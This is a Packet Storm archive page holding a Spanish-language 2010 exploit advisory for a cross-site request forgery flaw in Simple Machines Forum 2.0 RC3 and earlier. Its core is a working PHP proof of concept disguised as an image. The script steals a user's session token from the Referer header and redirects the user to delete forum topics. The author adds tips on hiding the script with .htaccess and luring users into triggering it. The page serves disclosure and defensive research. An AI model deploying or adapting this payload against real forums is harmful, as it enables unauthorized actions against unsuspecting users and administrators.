exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Simple Machines Forum 2.0 RC3 Cross Site Request Forgery

Simple Machines Forum 2.0 RC3 Cross Site Request Forgery
Posted Jun 12, 2010
Authored by Xianur0

Simple Machines Forum versions 2.0 RC3 and below suffer from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 0a43af4d2c86210df53b8dcd359ad6c532649f91eecf504ce88260b769f1274d

Simple Machines Forum 2.0 RC3 Cross Site Request Forgery

Change Mirror Download


# Exploit Title: Simple Machines Forum <= 2.0 RC3 Sesc theft (XSRF)
# Date: 09-06-2010
# Author: Xianur0
# Software Link: http://download.simplemachines.org/
# Version: <=2.0 RC3
# Tested on: 1.1.11 & 2.0 RC3


Vale, este "bug" es simple, y a decir verdad me parese bastante estupido,
pero bueno... xD...

El SMF en muchas secciones agrega sesc, no es malo, pues ayuda a controlar
los XSRF's, el problema se encuentra presisamente en eso, el mecanismo es
bueno, pero la implementacion no tanto...

el sesc se genera unico por cada session que inicia un usuario, de modo que
ese sesc se seguira usando para todo lo que haga el usuario mientras este
logeado, luego ese sesc se agrega en algunas secciones en *LA URL!*

Esto permite a un atacante mediante muy poca ingenieria social obtener el
sesc de un usuario, por ejemplo, diseƱe un PoC, que simula ser una imagen,
la podemos insertar en un post real, y cuando otro usuario cite un
comentario del tema, y si esta activado el Topic Summary, se cargan las
imagenes publicadas en el post dentro de esa seccion (Topic Summary), de
modo que al cargar las imagenes se agrega un Referer (el cual, entre otras
cosas contiene el sesc del usuario). Ahora la prueba de concepto un PHP:

<?php
// By Xianur0
$imagen = "imagen real.jpg";
error_reporting(0);
function borrar($path,$topic,$sesc) {
if(!preg_match("/index.php$/",$path)) $path =
preg_replace("/\/([^\/]+)$/","/",$path);

header("Location:
".$path."?action=removetopic2;topic=".$topic.";sesc=".$sesc,TRUE,302);
}

function mostrarimagen($imagen) {
header("Content-Type: image/jpeg");
print file_get_contents($imagen);

}

if(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])
&& preg_match("/sesc=(.{32})/i",$_SERVER['HTTP_REFERER'],$matches) &&
preg_match("/topic=([^;]+)/i",$_SERVER['HTTP_REFERER'],$matchess) &&
preg_match("/^([^\?]+)/i",$_SERVER['HTTP_REFERER'],$matchesss)) {

$sesc = $matches[1];
$topic = $matchess[1];
$path = $matchesss[1];
borrar($path,$topic,$sesc);
exit;
}
mostrarimagen($imagen);
?>



ahora mediante un poco de .htaccess esta imagen quedara completamente
oculta, solo queda insertarla en un post y esperar o convencer a algun
usuario a citar algun post dentro del mensaje donde pusimos la image.

Si dicho usuario tiene permisos de borrar el post, el post sera borrado.

Desde luego mediante esta misma tecnica se pueden hacer otras cosas bastante
mas malignas que borrar un post.


De momento no hay parche, luego programo algo... mientras tanto, no citen
mensajes xD y/o desactiven el Topic Summary



Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close